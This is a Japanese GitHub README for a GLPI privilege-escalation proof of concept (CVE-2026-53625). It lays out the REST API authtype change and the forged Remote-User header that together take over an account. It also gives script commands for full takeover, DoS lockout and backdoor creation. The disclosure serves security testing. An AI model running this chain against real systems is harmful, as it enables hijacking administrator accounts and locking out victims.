
GLPI 権限昇格 PoC(authtype操作による) - CVE-2026-53625。REST APIのauthtype操作を通じて、テクニシャンが任意のSuper-Adminアカウントを完全に制御できるようにするGLPIの脆弱性に対する倫理的なPoC。
このリポジトリは、GLPI の 0.70 から 11.0.7 までの全バージョンに 影響する 高重要度の権限昇格脆弱性 CVE-2026-53625 に 対する倫理的な Proof-of-Concept(PoC)を提供します。
低権限ユーザー(Technician)は、REST API を通じて authtype フィールドを
操作することで、Super-Admin を含む任意のアカウントを完全に制御できます。
この攻撃は 3 つの弱点を連鎖させ、永続的なバックドアの作成を伴う
完全なアカウント乗っ取りを実現します。
公式アドバイザリ: GHSA-94rp-v9f2-5rj7
GLPI は、ユーザーが REST API を介して別のユーザーのレコードを更新する際に、
権限レベルをチェックしません。authtype フィールドは保護されておらず、
これを EXTERNAL に変更すると、GLPI は自動的に被害者のパスワードを空にします。
偽造可能な SSO ヘッダー(Remote-User)と組み合わせることで、
完全なアカウント乗っ取りが可能になります。
POST /apirest.php/initSession)
GET /apirest.php/User)
PUT /apirest.php/User/{id} を使用して被害者の authtype を
EXTERNAL (4) に変更する — GLPI がパスワードを自動的に空にする
(User.php:1277)
Remote-User: {victim} HTTP ヘッダーを偽造して、被害者としてのセッションを
取得する — パスワードは不要
SSO が設定されていない場合: この攻撃は DoS としても機能します — 被害者の パスワードは空にされ、ロックアウトされます。この影響には SSO は不要です。
この PoC は教育目的および許可されたテスト専用です。 所有しているシステム、または明示的な許可を得たシステムでのみ使用してください。 作者および貢献者は、誤用について一切の責任を負いません。
リポジトリをクローンします:
git clone https://github.com/7h30th3r0n3/CVE-2026-53625-GLPI-PoC.git
cd CVE-2026-53625-GLPI-PoC
依存関係: bash, curl, python3, openssl
PoC は 2 つの攻撃モードをサポートしています:
# Full takeover chain (default) — requires SSO with forgeable header:
./poc_authtype_takeover.sh --auto http://glpi.local tech P@ss
# DoS only — lock out admin, no SSO needed:
./poc_authtype_takeover.sh --lockdown --auto http://glpi.local tech P@ss
# Safe mode — prove chain on sacrificial user, zero impact on real accounts:
./poc_authtype_takeover.sh --safe --verbose http://glpi.local tech P@ss
# Full takeover + restore victim afterward:
./poc_authtype_takeover.sh --backdoor --restore --restore-pass 'NewPass!' --auto http://glpi.local tech P@ss
./poc_authtype_takeover.sh --help を実行すると、すべてのオプションが表示されます。
脆弱性は 7h30th3r0n3 によって発見され、PoC も同氏によって開発されました。